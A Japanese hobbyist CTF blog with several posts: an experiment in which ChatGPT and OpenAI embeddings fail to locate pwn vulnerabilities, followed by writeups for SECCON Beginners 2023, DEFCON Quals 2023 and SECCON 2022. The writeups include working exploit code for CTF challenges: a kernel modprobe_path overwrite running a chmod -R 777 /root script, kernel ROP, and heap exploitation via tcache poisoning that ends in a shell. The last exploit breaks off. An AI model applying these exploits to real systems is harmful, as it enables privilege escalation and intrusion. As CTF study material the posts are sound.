CTFのpwn問題の脆弱性を自動で見つけたかったけど微妙なのができた話

200日以上ぶりのブログ更新です。
残念ながら今年は仕事に私生活が忙しく、全くCTFを楽しむ余裕がありませんでした。
来年こそ、CTFにどっぷりつかりたいですね

さて、今回の本題です。

ご存じの通りpwn問には様々なバリエーションがあります。

等など…

これらのジャンルによる区分はあるものの、問題の解き方を抽象的にみると、
シェルコード問以外は概ね同じだと私は考えています。

具体的には①脆弱性発見し ②脆弱性を攻撃する というプロセスは共通ですね。

例えば、seccon4b 2023のNoControl(Linuxのユーザランドエクスプロイト)については私は下記の方法で解きました。
ec-pwn.hatenablog.com
脆弱性を発見する ー> メモリ領域の初期化漏れとUSE AFTER FREE
脆弱性を攻撃する ー> TCACHE POISONNINGとHOUSE OF SPIRIT

(この問題の私の解き方は冗長ではありますが、)
PWN問を解くときに、使えそうな脆弱性を見落とすことなく見つけることがファーストステップとしては非常に重要です。

問題によっては脆弱性が自明なことも多くあります。
特に比較的簡単なバッファオーバーフローの問題等は自明であることが多いです。

しかしながら、中級者向け以上の問題においては、バイナリが比較的複雑であったり、脆弱性が off by oneのようにあまり目立たないものであったり、
レースコンディションのように脆弱性があってもうまく使わないとクラッシュしないものであったり、脆弱性の発見自体が難しいこともあり、
私はCTFの問題を解く際に、かなり苦しい部分になっているのがこの脆弱性発見です。


脆弱性の発見を行うためにはどうすればいいのでしょうか。

この部分のノウハウは中々情報が少ないと感じていますが、一般的には下記の方法があると私は考えています。

1.静的解析
 GHIDRAやIDAででコンパイルした結果、あるいは配布されたソースコードを眺めて脆弱性を見つける
2. 簡単な動的解析
 とりあえずいろんな境界条件、大きな値や長いペイロード、書式文字列等を手作業で入れてみる
3.ファジング
 ファジング用のプログラムを組む、あるいはAFL等でバイナリをファジングしてみる

私個人としては上記の手法によって脆弱性を見つける比率は
それぞれ10%、75%、15% の成功率くらいでしょうか。

私はIT業界にいるわけでもない、いわゆる趣味プログラマです。
ソースコードをちゃんと見る能力もあまりないので、静的解析もできません。
そうなると適当な値を入れて解けるか試す、といった簡単な動的解析に依存することが多くなってしまっていますが、
「なんかよくわからんけどクラッシュするというペイロードを見つける」といった行為に時間を費やしてて、
このプロセスが次第に運ゲーになってしまっており、回答率が安定しないという苦しさを味わっています。

(ちなみに運ゲーになりつつも、なんとなくノウハウというかジンクス的なものがある気がします。
 例えば、メモ系のヒープの問題はEDIT機能に脆弱性があることが多い…等)

という中で、第4の方法として、CHAT GPTというかOPEN AIの何かに聞いてみようよというのが趣旨です。

うまくいくわけないよね、と思いながらとりあえずCHAT GPT 4に聞いてみます。
$20の働きはしてくれるのでしょうか?
題材は先ほどのNoControlです。

とりあえず「mallocの初期化漏れ」と、「Use After Free」を発見できるのでしょうか?


このC言語のコードには、セキュリティの観点からいくつかの潜在的脆弱性が存在します。以下に主なものを指摘します:

1. **バッファオーバーフロー(`update_memo` 関数)**:
- `update_memo` 関数では、`read` システムコールを使用してユーザーからの入力を `memo` バッファに格納しています。
- しかし、`read` は `MEMO_SIZE` (0x80、128バイト) よりも多くのデータを受け取ると、バッファオーバーフローが発生します。
- これにより、隣接するメモリ領域が上書きされ、潜在的に任意のコード実行や他の危険な動作を引き起こす可能性があります。

2. **ヌルポインタデリファレンス(`read_memo` と `update_memo` 関数)**:
- `read_memo` と `update_memo` は、`memo = memos[idx];` の後に `memo` がヌルかどうかをチェックしていますが、`puts(memo);` または `read(STDIN_FILENO, memo, MEMO_SIZE);` の実行前にヌルポインタチェックを行っていません。
- これはヌルポインタデリファレンスを引き起こし、プログラムがクラッシュする可能性があります。

3. **整数オーバーフロー(`ask_index` 関数)**:
- `ask_index` 関数で、ユーザーからの入力を `atoi` 関数を使用して整数に変換しています。
- この入力が非常に大きい数値の場合、整数オーバーフローが発生し、結果的に不正なインデックスが生成される可能性があります。

4. **フォーマット文字列の脆弱性**:
- コード全体を通じて `printf` 関数が安全に使用されていますが、ユーザーの入力をそのまま `printf` などのフォーマット関数に渡すと、フォーマット文字列の脆弱性が発生する可能性があります。

5. **メモリリーク**:
- `delete_memo` 関数では、割り当てられたメモリを解放していますが、プログラムの他の部分でメモリ割り当てが失敗した場合の適切な処理が行われていません。
- これはメモリリークを引き起こす可能性があります。

これらは一部の脆弱性であり、コードの全体的な構造とセキュリティ慣行によっては、他にも問題が存在する可能性があります。

ということでダメでした。

ものすごくそれっぽいのですが、まるっきりダメです。チャットGPTってソースコードは得意だった気がするのですが
生成ができるけど解釈はあまり得意じゃないんですかね。


ここでほかのアプローチを考えます。
それは、既存のpwn問題のバイナリと類似した問題を引っ張ってくれば、類似したところに脆弱性があるんじゃないのか。という発想です。
ひとことでいうと、OpenAIのEmbeddingの使って同じような過去問を見つけようということです。

既にPythonコードでOpenAI のEmbeddingを用いたコードの分析をやられている方がいらっしゃるようで、
結果を拝見する限りある程度は期待できそうです。

インフラ構成は適当に考えました。とりあえず下記の通りです。
フロントエンドはもはやアップローダーでしかないのでstremlitで5分くらいで作ります。

バックエンドは、ghidraが動いていて、アップロードされてきたバイナリをでコンパイルします。
デコンパイルした結果は、ある程度分割した後Open AIのEmbedding APIに投げることでベクトル化します。
ベクトル化された結果は、AWSのRDSのpostgresのpgvectorで保存されます。

シンプルすぎてこれ以上説明できないのですが
あえて言うなら多分RDSもEC2も分析用途にはいらなくて、
全部ローカルでDockerでやればいいです。なので、AWSを使う必要はないです。実際、EC2とか書いてますが
記事執筆時点では動かしてなくてローカルのDocker環境でやっています。EC2とかRDSとか書いた方がかっこいいと思って書いてます。


分析結果:過去問をTSNEで可視化
下記はとりあえず過去問を二次元上に可視化してみたものです。2次元への射影にはTSNEを利用しています。

さて、見ての通り、どちらかといえば問題の傾向より、「CTFの大会名」例えばSECCONはSECCON等で分かれていることがわかりますね。
これはおそらく、問題の傾向で分類ができているわけではなく、同じ作者が利用している開発環境などに引っ張られてしまっているということだと思われます。
とはいえ、実は同じ大会でも点が散らばったりしていて、見た感じだとよくわかりませんね。

もう少しだけ、見たことある問題で見てみましょう。

これはcalectfだけを抽出したものです。
この2023年に出題されたMemorial Cabbageに近い位置にいるのは、2022年に出題されたcrc2sumです。

Memorial Cabbage:ファイル操作の際の文字列を加工して権限昇格

crc2sum:ファイル操作のレースコンディションでHEAP BOFを利用して権限昇格

ということで、脆弱性という意味では違うもののようでした。
ファイル操作系PWNとでもいうのでしょうか。類題ではあるのですが…

分析結果:CakeCTF ctrc2sumの類似問題を引っ張ってみる

これは私が5分で作ったアップロード画面。
ここに問題をアップロードすると、いくつかを出してくれます。

まずcsictfの問題は、全く関係ないbofの問題でした。
foobar ctfの問題も、bofの問題であまり関係ありませんでした。

ここから、すでにあまり精度が高くないことがうかがいしれます。

分析結果:Seccon4b No Controlの類似問題を引っ張ってみる

これが結果でした。
さて、出てきた結果を吟味してみましょう。
Wani(2023) copy-paste: heap bof
TSG(2021) cheap: heap bof

ということで、まぁheap問題だけど、脆弱性という観点では違うよね。ということになりました。

結論

  • とりあえずGhidraでdecompileした後にOpenAI Embeddingに突っ込んで分類すると、問題自体の傾向よりも、開発環境や作成者起因の分類、あるいは問題で使われている関数の傾向による分類になってしまうようだ。

 この問題はこの作者が作っているから作者のブログを読む、というメタ読みも無くはないが、そんなものはこのロジックを使わなくてもいけるはず。
 ひとまず、とりあえず突っ込んだだけでは脆弱性が同じという粒度では探すことができなかった。というか、オリジナリティあふれる問題が数多くある中で、そもそも脆弱性が同じ問題ってそんなあるのかなっていう気もする。

かかったお金
OpenAIのお金 手持ちの問題をベクトルかするのに$12
AWSのお金 月額大体$20くらい。結局Dockerでローカルに立てたのでEC2は使わず。RDS代だけ。
合計、大体 月額$32 😡


今後の課題
アルゴリズム回りの改善点

  • openAIのEmbeddingはあまり精度が出なかったので、もっとソースコードに特化した埋め込みベクトルを利用してみようと思う。
  • あとは、教師あり学習は避けて通れない気がする。人間がアノテーションして、この部分に脆弱性があるとか教え込むとか。面倒だけど来年あたりやってみようかな。

・実装周りの話

  • 類似度が数値として出るように書き換える(簡単そうだけどめんどい)

SECCON FOR Beginner 2023 Writeup (pwn)

今年も楽しくSECCONG for beginnerをやりました。
PWNを全完しましたので、難しめだった2問(カーネルとヒープ)のWrite upを書きます。

driver4b (19 solve)

簡単なカーネル問。
カーネル問ってコマンドが特殊だったりするので、チートシート的なの作ってないとすぐ忘れちゃうんだよね。
特に、SMAP、SMEP、kaslrを確認する方法。いや、qemuのコマンドのオプション見ればわかるけど、下記のコマンドでもわかる。
ことを忘れて時間を溶かしてたので、そんなことが無いように下記のコマンドのタトゥーを入れようと思います。

~ # cat /proc/cpuinfo | grep smep
~ # cat /proc/cpuinfo | grep smap
~ # 


~ # dmesg | grep "Kernel/User"
Kernel/User page tables isolation: enabled

まぁ上を見てわかる通り、SMAPもSMEPもない。
ただしKPTIが有効。

さて脆弱性だが、下記でわかる通り、任意のアドレスに任意のメッセージを書き込める。
具体的には、CTF4B_IOCTL_STOREで、カーネル内の領域 g_messageになんでも書き込める。
CTF4B_IOCTL_LOADで、任意の場所にg_messageから書き込むことができる。
だから、任意の場所に任意の文字が書ける。SMAPが無効だから本当に任意に書き込める。

static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }

  return 0;
}

KASLRも無効だから、もっとも簡単な方法は、modprobe_pathを書き換える方法だろう。解いたのはその方法だった。

#include "../src/ctf4b.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
  char *buf;
  int fd;
  
  unsigned long modprobe = 0xffffffff81e3a080;

  fd = open("/dev/ctf4b", O_RDWR);
  if (fd == -1)
    fatal("/dev/ctf4b");

  buf = (char*)malloc(CTF4B_MSG_SIZE);
  if (!buf) {
    close(fd);
    fatal("malloc");
  }

  /* Get message */
  memset(buf, 0, CTF4B_MSG_SIZE);
  ioctl(fd, CTF4B_IOCTL_LOAD, buf);
  printf("Message from ctf4b: %s\n", buf);

  /* Update message */
  strcpy(buf, "/tmp/evil.sh");
  ioctl(fd, CTF4B_IOCTL_STORE, buf);

  /* Get message again */
  memset(buf, 0, CTF4B_MSG_SIZE);
  ioctl(fd, CTF4B_IOCTL_LOAD, modprobe);
  printf("Message from ctf4b: %s\n", buf);

  free(buf);
  close(fd);
  
  system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");
  system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
  system("chmod +x /tmp/pwn");
  system("/tmp/pwn"); 
  
  return 0;
}

これをgcc ./exploit.c -o exploit --staticでコンパイルして、--static忘れないでね。
リモート環境に送ればOK。aws上にwebサーバーを立ててリモートからwgetしてexploitした。

さて、当然この問題はAAWなので、解法はいくらでもある。

というか、最初modprobe pathを思いつかず、普通にkernel ropとkpti トランポリンしようとしてたけど、
なんか変な現象が起きて動かなかった。

こんな感じのスタックフレームでROPしていたんだけど、

   unsigned long *fake_stack_p = fake_stack;
  *fake_stack_p++ = pop_rdi;
  *fake_stack_p++ = 0x0;
  *fake_stack_p++ = prepare_kernel_cred;
  *fake_stack_p++ = push_rax;
  *fake_stack_p++ = pop_rdi;
  *fake_stack_p++ = commit_creds;
  *fake_stack_p++ = swapgs_restore_regs_and_return_to_usermode;
  *fake_stack_p++ = 0xdeadbeef;
  *fake_stack_p++ = 0xdeadbeef;
  *fake_stack_p++ = (unsigned long)&get_shell;
  *fake_stack_p++ = user_cs;
  *fake_stack_p++ = user_rflags;
  *fake_stack_p++ = user_rsp;
  *fake_stack_p++ = user_ss;

prepare_kernel_credに飛ぶときに何故か、下位4バイトしか反映されなかった。は?

これから、0xffffffff81093f00に飛ぼうとしてる。

いや0x3f00に飛ぶんかい。なんで?

これさえ通れば、多分この方法でもできるんだけど。
原因が全然わからなかった。

No_Control (15 solve)

ヒープ問題。いわゆるメモアプリである。

(base) ubuntu@ubuntu-virtual-machine:~/ctf/seccon4b/poem/No_Control$ ./chall 
1. create
2. read
3. update
4. delete
5. exit
> 1
index: 1
1. create
2. read
3. update
4. delete
5. exit
> 3
index: 1
content: aaaaaaa
1. create
2. read
3. update
4. delete
5. exit
> 2
index: 1
aaaaaaa

1. create
2. read
3. update
4. delete
5. exit

脆弱性だが、結構見つけずらかった。
下記の二つが脆弱性

1.mallocの初期化漏れ
下記で、mallocしてるけど、領域を初期化してないからfreeした領域を再びmallocしてreadすると、中身が見えてしまう。

void create_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index. now choose unused one.");
        for (idx = 0; idx < LIST_SIZE; idx++) {
            if (memos[idx] == NULL) {
                break;
            }
        }
    }

    if (LIST_SIZE <= idx) {
        puts("Can't find unused memo");
        return;
    }

    memo = malloc(MEMO_SIZE);
    memos[idx] = memo;

    return;
}

2.USE AFTER FREE
これ気づきづらかった。
下記、invalidだった場合でも、なんとmemoがnullじゃなければ動いてしまう。
しかもmemoが初期化されてなくて、deleteした直後のポインタがmemoに残っている。

void update_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index");
    } else if (memos[idx] == NULL) {
        puts("that memo is empty");
    } else {
        memo = memos[idx];
    }

    if (memo == NULL) {
        puts("something wrong");
    } else {
        printf("content: ");
        read(STDIN_FILENO, memo, MEMO_SIZE);
    }
    return;
}

さて、こんだけ脆弱性があれば何でもできるだろ、という気もするがセキュリティ機構がきつい。

pwndbg> checksec
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   55) Symbols	  No	0		3		/home/ubuntu/ctf/seccon4b/poem/No_Control/chall

RELROもあれば、PIEもある。

ということで、方針を考える。
まず、脆弱性1を使ってheapのアドレスを取得する。同時にfreeできるのは5個まで、かつmallocのサイズは
0x80なのでtcacheからheapのアドレスをリークできる。(safe linkingが有効なのでちょっとめんどい)

次に、heapのアドレスだけわかってもどうしようもないので、libcのアドレスを取得する。
これはどうすればよいかというと、freeを2回した後に、脆弱性2を使うことでtcacheのfdを書き換えて
tcache poisonningを使って、heapのほかののチャンクのサイズを改ざんして、freeをすることでunsortedbinに入れる。(いわゆるhouse of spirit)
unsortedbinに入ればlibcのmain_arenaのアドレスが手に入るので、脆弱性1を使って、libcのアドレスがわかる。
そのあとは、煮るなり焼くなりコロ助なりではあるが、libcのenvironをtcache poisonningで抜いてきてstackのアドレスを取得して、
tcache poisonningでstack内に領域を取り、systemを呼んだ。

難しかったのはunsorted binにぶち込むためのfreeで、防御機構をバイパスする必要があるところか。

from pwn import *

elf=ELF("/home/ubuntu/ctf/seccon4b/poem/No_Control/chall")
libc=ELF("/home/ubuntu/ctf/seccon4b/poem/No_Control/libc.so.6")

#p=process("/home/ubuntu/ctf/seccon4b/poem/No_Control/chall"
#          , aslr=True
#          ,env={"LD_PRELOAD" : "/home/ubuntu/ctf/seccon4b/poem/No_Control/libc.so.6"} )
p=remote("no-control.beginners.seccon.games",9005)

#gdb.attach(p)

def create(index):
    p.sendlineafter(">", "1")
    p.sendlineafter("index:", str(index))
    return

def read(index):
    p.sendlineafter(">", "2")
    p.sendlineafter("index:", str(index))
    return p.recvline()

def update(index, message):
    p.sendlineafter(">", "3")
    p.sendlineafter("index:", str(index))
    p.sendlineafter("content:", message)
    return

def delete(index):
    p.sendlineafter(">", "4")
    p.sendlineafter("index:", str(index))
    return

def cryptoSafelinking(pos, ptr):
    return (pos >> 12) ^ ptr

create(0)
delete(0)

# leak heap memory
create(0)
p.sendlineafter(">", "2")
p.sendlineafter("index:", str(0))
p.recv(1)
heapbase =  u64(p.read(5).ljust(8, b"\x00")) * 0x1000
log.info("heap base is:" + hex(heapbase))

# leak libc memory by make chunk into unsorted bin
# setup tcache poisonning
create(0)
create(1)
create(2)
delete(0)
delete(1)
update(1, p64(cryptoSafelinking(heapbase, heapbase + 0x440)))
create(0)
create(0)
update(0, p64(0x91) + p64(0x421))
create(1)
create(1)
create(1)
create(1)
create(1)
create(1)
create(1)
update(1, p64(0xdead) + p64(0xdead) + p64(0xdead) + p64(0xdead) + p64(0x420) + p64(0x421))
create(1)
create(1)
create(1)
create(1)
create(1)
create(1)
create(1)
update(1, p64(0xcafe) + p64(0xcafe) + p64(0xcafe) + p64(0xcafebabe) * 6  + p64(0x420) + p64(0x420) + p64(0x421))
delete(2)
create(0)
p.sendlineafter(">", "2")
p.sendlineafter("index:", str(0))
p.recv(5)
libcbase =  u64(p.read(6).ljust(8, b"\x00")) - 0x21A0D0
log.info("libc base is:" + hex(libcbase))
# chunk2 goes into unsorted bin!

# leak stack memory from libc eviron
create(0)
create(1)
create(2)
delete(0)
delete(1)
update(1, p64(cryptoSafelinking(heapbase, libcbase + libc.symbols["environ"])))
create(0)
create(0)
p.sendlineafter(">", "2")
p.sendlineafter("index:", str(0))
p.recv(6)
stackbase =  u64(p.read(6).ljust(8, b"\x00")) - 0x08 -0x120
log.info("stack base is:" + hex(stackbase))

# finary we hijack stack using tcache poisonning
create(0)
create(1)
create(2)
delete(0)
delete(1)
update(1, p64(cryptoSafelinking(heapbase, stackbase)))
create(0)
create(0)

pop_rdi = 0x0002a3e5
ret = 0x00029cd6
update(0, p64(0xdeadbeef) + p64(libcbase + ret) + p64(libcbase + pop_rdi) + p64(libcbase + next(libc.search(b'/bin/sh'))) + p64(libcbase + libc.symbols["system"]) )
p.interactive()

これでexitすればshellがとれるよ。

DEFCON Quals 2023 WriteupとCTFのリハビリ

DEFCON Quals 2023にソロで参加しました。決勝戦なんてのは遠い遠い話ですが、
また今年もベガスまでDEFCONを観客として見に行くかもしれません。

実はこの半年間、消息を絶っていたのですが、
ずーっと懐かしのメイプルストーリーをやっていて、全くCTFをやっていませんでした。
そのせいで、CTFの事が何もわからなくなりました。これから少しずつリハビリしていこうと思います。

メイプルはレベル250を達成したのでメイプルストーリーは引退しました。
してないです。ゆかり鯖でやってるし、ピンクビーンイベントやってます。
いっそこのブログも、メイプルストーリーのブログに変えてやろうかと思いました。
ネットゲームは時間が無限に溶けるし、ほかのモノに対する興味が無くなるので良くないね。誰か助けてください。

さて、DEFCONの話ですがpwn とかジャンルで分かれてないので、結局pwnがどれだかわかりませんでした。
とりあえず簡単な1問(Open House)を開催中に解きました。

Open House (68 solve)

とってもシンプルなヒープ問題。多分色々な解き方があるはず。

(base) ubuntu@ubuntu-virtual-machine:~/ctf/defcon$ ./open-house 
Welcome! Step right in and discover our hidden gem! You'll *love* the pool.
c|v|q> c
Absolutely, we'd love to have your review!
AAAAAAAA
Thanks!
c|v|m|d|q> d
Which of these reviews should we delete

よくあるヒープメモ問題。

c: メモの作成
v: メモの閲覧
m: メモの変更
d: メモの削除
q: 終了

が操作可能。

(base) ubuntu@ubuntu-virtual-machine:~/ctf/defcon$ file open-house 
open-house: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0dff6b6b6435d3c61f0159923f1758e8c9e6a1a8, for GNU/Linux 3.2.0, stripped

ところで、なぜか32bitである。ブルートフォースしてほしいのか?意味ありげに感じてしまう。
なお、下記の通りPIE有効。

pwndbg> checksec
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
No RELRO        No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		3		/home/ubuntu/ctf/defcon/open-house

さて、メモの管理がどうされているか見ながら、脆弱性を見つけていく。

メモが作成されたとき、

c|v|q> c
Absolutely, we'd love to have your review!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks!

下記の通り、ヒープ領域が作成されて、文字列が格納される。

0x5655aa40:	0x00000000	0x00000000	0x00000000	0x00000211
0x5655aa50:	0x41414141	0x41414141	0x41414141	0x41414141
0x5655aa60:	0x41414141	0x41414141	0x41414141	0x41414141
0x5655aa70:	0x41414141	0x41414141	0x0000000a	0x00000000
…
0x5655ac30:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655ac40:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655ac50:	0x00000000	0x5655a430	0x00000000	0x000203a9

0x000203a9はTOPチャンクのサイズだから無視して、0x5655ac54にある0x5655a430が重要。
これは、一個前のメモへのポインタである。

見てわかる通り、このプログラムは、メモを双方向のリンクリストで保持していて、チャンクの最後のほう
具体的にはAddr + 0x204とAddr + 0x208のところに、前後のメモへのポインタが入っている。

メモの作成(cコマンド)の時は0x200バイトしか文字列を書き込めないが、メモの変更(mコマンド)の時は
0x210バイト文字列を書き込むことができる。したがって、リンクリストを任意の方向につなげることができるという、露骨な脆弱性がある。

メモを任意の場所につなげることができるとAARもAAWもできてしまう。

何故かというと、メモの変更(m)コマンドでは、指定した番号のメモの内容を吐き出すからである。
具体的には、index = 1のメモのAddr + 0x204に任意のアドレス p を入れるとする。
そうすると、mでindex = 2のメモを変更しようとすると、*pの値を吐き出してしまう。
しかもそのうえ、上書きすることができる。脆すぎる。(下記、脆弱性1と呼ぶ)

c|v|m|d|q> m 
Which of these reviews should we replace?
2
Replacing this one: AAAAAAAAAAAAAAAAAAAAAAAAAAAA ← これが*pになる

これは極めて強力な脆弱性だが、存在するのはこの脆弱性だけではない。

二つ目の脆弱性は、malloc後の未初期化によるものである。

pwndbg> bins
tcachebins
0x110 [  7]: 0x56559e00 —▸ 0x56559bf0 —▸ 0x565599e0 —▸ 0x565597d0 —▸ 0x565595c0 —▸ 0x565593b0 —▸ 0x565591a0 ◂— 0x0
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x5655a008 —▸ 0xf7e2a7f8 (main_arena+56) ◂— 0x5655a008

メモをいくつか削除すると上記のようになる。
上記はunsortedbinが0x631サイズある。

これに対して、メモを再び8回内容は"”で作る。
そうすると、8回目で取得されるメモは、unsortedbinから取得されるが、
unsortedbinの持っているfd と bkが初期化されてない。
入力文字列にnull終端とかがあれば発生しないが、null終端はないのでリーク出来てしまう。

なので、mallocでunsortedに入っていた領域を再取得すれば、main_arenaの領域、つまりlibcのアドレスを取得できる。

0x5655a008	0x00000000	0x00000211	........
0x5655a010	0xf7e2aa0a	0xf7e2aa38	....8...
0x5655a018	0x5655a008	0x5655a008	..UV..UV
0x5655a020	0x63207470	0x69646e6f	pt condi
0x5655a028	0x6e6f6974	0x6874202c	tion, th

この領域を、メモの表示コマンドで表示できる。
ところで、なんでunsortedbinに入っていたはずなのに、fd_nextsize と bk_nextsizeが埋まってるんだろう?
heapがわかるのはうれしいけど、なんでだ…

これでlibc leakとheap base leakが可能となった。脆弱性2と呼ぶ。

ということで、方針としては、まず脆弱性2を使って、libcとheapをリークする。
次に脆弱性1を使ってAARで、libcのenvironからstackのアドレスを取得し、
脆弱性1を再度使って、stack内でROPしてsystem("/bin/sh")を呼べばいいだけ。

まぁ一見簡単そうだけど、悩ましい障壁が一つあった。それは、libcのバージョンがわからないこと。
libcのバージョンがわからないと、libc_baseをあてることができない。

とりあえず、上記の方法で計算される値からmain_arenaのアドレスがわかる。
上記の方法でリークできるのはmain_arena内のアドレスで、それは比較的最近ならばlibcのバージョンによらず一定のはず。
それでlibc databaseを使えば 2.37っぽいことまではわかった。
libc.rip

ただし、その情報だけでは、どうしてもlibc baseアドレスがずれていた。2.37のどのバージョンなのか?までは上記のサイトではわからなかった。
というか、上記のサイトで出てきたやつだと、なぜかbase addressが0x3000ずれていた。

このベースアドレスのずれを見つけるためには、手作業でぐちゃぐちゃやって何とかアタリを付けなければならず、この作業が一番大変だった。
結果、main_arenaのlibc baseからのoffsetがわかった後は、libc databaseを使って2.37のlibcを落として、symbolの確認をおこなった。
github.com

その結果、main_arenaとかがぴったり一致したのは下記のバージョンだった。
libc6-i386_2.37-0ubuntu2_amd64.so
なのでこのバージョンを使ってexploitを書いたらflagが取れた。


で解きなおそうとしてけどサーバが死んでいた。

import logging

from pwn import *
context.arch="i386"

option = "local"

if option == "local":
    elf=ELF("/home/ubuntu/ctf/defcon/open-house")
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")
    p=process("/home/ubuntu/ctf/defcon/open-house"
              , aslr=True)
    #gdb.attach(p)

else:
    libc=ELF("/home/ubuntu/ctf/defcon/libc6-i386_2.37-0ubuntu2_amd64.so")
    p = remote("open-house-6dvpeatmylgze.shellweplayaga.me", 10001)
    p.sendlineafter("Ticket please: ", "ticket{自分のチケット番号を入れようね}")

def create(message):
    p.sendlineafter(">","c")
    print(p.recvline())
    p.sendline(message)
    return

def delete(index):
    p.sendlineafter(">","d")
    print(p.recvline())
    p.sendline(str(index))
    return

def replace(index, message):
    p.sendlineafter(">","m")
    print(p.recvline())
    p.sendline(str(index))
    p.sendlineafter("replace it with?", message)
    return

create(cyclic(0x208))
for i in range(11):
    delete(1)

create("")
create("")
create("")
create("")
create("")
create("")
create("")
create("")

p.sendlineafter(">","v")

for i in range(16):
    p.recvline()

p.recv(3)

if option == "local":
    libc_base = u32(p.recv(4)) - 0x22AA38

else:
    libc_base = u32(p.recv(4)) - 0x225A38

heap_base = u32(p.recv(4)) - 0x1008
log.info("libc base is " + hex(libc_base))
log.info("heap base is " + hex(heap_base))
print(hexdump(p.recvline()))

for i in range(11):
    delete(1)

for i in range(11):
    create("")

if option == "local":
    replace(3, cyclic(0x200) + p32(libc_base + libc.symbols["environ"])) 
else:
    replace(3, cyclic(0x200) + p32(libc_base + libc.symbols["environ"]))

p.sendlineafter(">", "m")
print(p.recvline())
p.sendline(str(4))

p.recv(20)

stack_base = u32(p.recv(4))
log.info("stack_address is " + hex(stack_base))

p.sendline(p32(stack_base))

replace(3, p32(0) * 0x80 + p32(stack_base-0x200))
p.sendlineafter(">", "m")
print(p.recvline())
p.sendline(str(4))

system = libc_base + libc.symbols["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))


p.sendline(p32(0) * 0x40 + p32(system) + p32(0) + p32(binsh)+ p32(0))

p.interactive()

これでSHELLが取れたよ

What do you think we should we replace it with?
ls
challenge
flag.txt
run_challenge.sh
cat flag.txt
flag{DeveloperTax47n23:SBp6IAciEkQu5HXDfzG_0DcZZO5e5Wv2KKus4D9mrhCLPpWNUgk1U1lrIHRNCdiQ5f3eX9BwQL9-Qerdbkj9qA}[*] Interrupted
[*] Closed connection to open-house-6dvpeatmylgze.shellweplayaga.me port 10001

SECCON 2022 Writeup

SECCON 2022にソロで参加しました。チームで出なかった理由は、私の住所が今、海外になってしまっており私がチームに存在するだけで、
そのチームから国内決勝参加権が無くなるデバフ野郎疑惑があるからです。(ほんとのところはわかりません)
寂しいおっさんを誰かチームに入れて下さい。

さて、SECCON 2022、謎アーキとか、QRコードとか無くなって、段々傾向が変わってきてる気がしますね。
過去の謎アーキもQRコードも、個人的には嫌いではなかったです。それはそれで解けたときに脳汁が出るので。
もはや私は、脳汁が出ればどうでもいいです。

pwn は5問あって、2問(konchaとbabyfile)を開催中に解きました。
write upがあれば他3問も復習します。

koncha (111 solve)

普通にBoFの問題と思いきや、ちょっとだけひねりがある。

#include <stdio.h>
#include <unistd.h>

int main() {
  char name[0x30], country[0x20];

  /* Ask name (accept whitespace) */
  puts("Hello! What is your name?");
  scanf("%[^\n]s", name);
  printf("Nice to meet you, %s!\n", name);

  /* Ask country */
  puts("Which country do you live in?");
  scanf("%s", country);
  printf("Wow, %s is such a nice country!\n", country);

  /* Painful goodbye */
  puts("It was nice meeting you. Goodbye!");
  return 0;
}

__attribute__((constructor))
void setup(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  alarm(180);
}
ubuntu@ubuntu:~/ctf/koncha/bin$ ./chall 
Hello! What is your name?
AAAAAAa
Nice to meet you, AAAAAAa!
Which country do you live in?
BBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Wow, BBBBBBBBBBBBBBBBBBBBBBBBBBBBB is such a nice country!
It was nice meeting you. Goodbye!


見ての通り、スタックバッファオーバーフローが2回ある。
2回目でROPすればいいじゃん!って思ったが、なんとPIEが有効。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

PIE有効な時は、Leakするか、Partial Overwriteが定石だが、実際にやってみるとわかるがnull終端があるので、
Partial Overwriteはできない。

ということでリークすることを考える必要がある。
コードを見ればわかる通り、スタック変数nameが初期化されてない。
なのでnameから何かリークできるだろう、と考えてリークを目指す。

最初は、authme [InterKosenCTF 2020] みたいに%[^\n]sに対してEOFを送ればいいと思ったが、
EOF送ると、それ以降入力か出力かができなくなる。

まいったなぁ、と思ったけどとりあえず改行コードだけ送ってみたら普通にlibcがリークできた。

あとはBoFでone_gadgetに飛ばすだけ。

from pwn import *

elf=ELF("/home/ubuntu/ctf/koncha/bin/chall")
libc=ELF("/home/ubuntu/ctf/koncha/lib/libc.so.6")

#p=process("/home/ubuntu/ctf/koncha/bin/chall"
#          , aslr=False
#          ,env={"LD_PRELOAD" : "/home/ubuntu/ctf/koncha/lib/libc.so.6"} )

#gdb.attach(p)
p=remote("koncha.seccon.games",9001)

p.sendlineafter("Hello! What is your name?", "")
print(hexdump(p.recvline()))
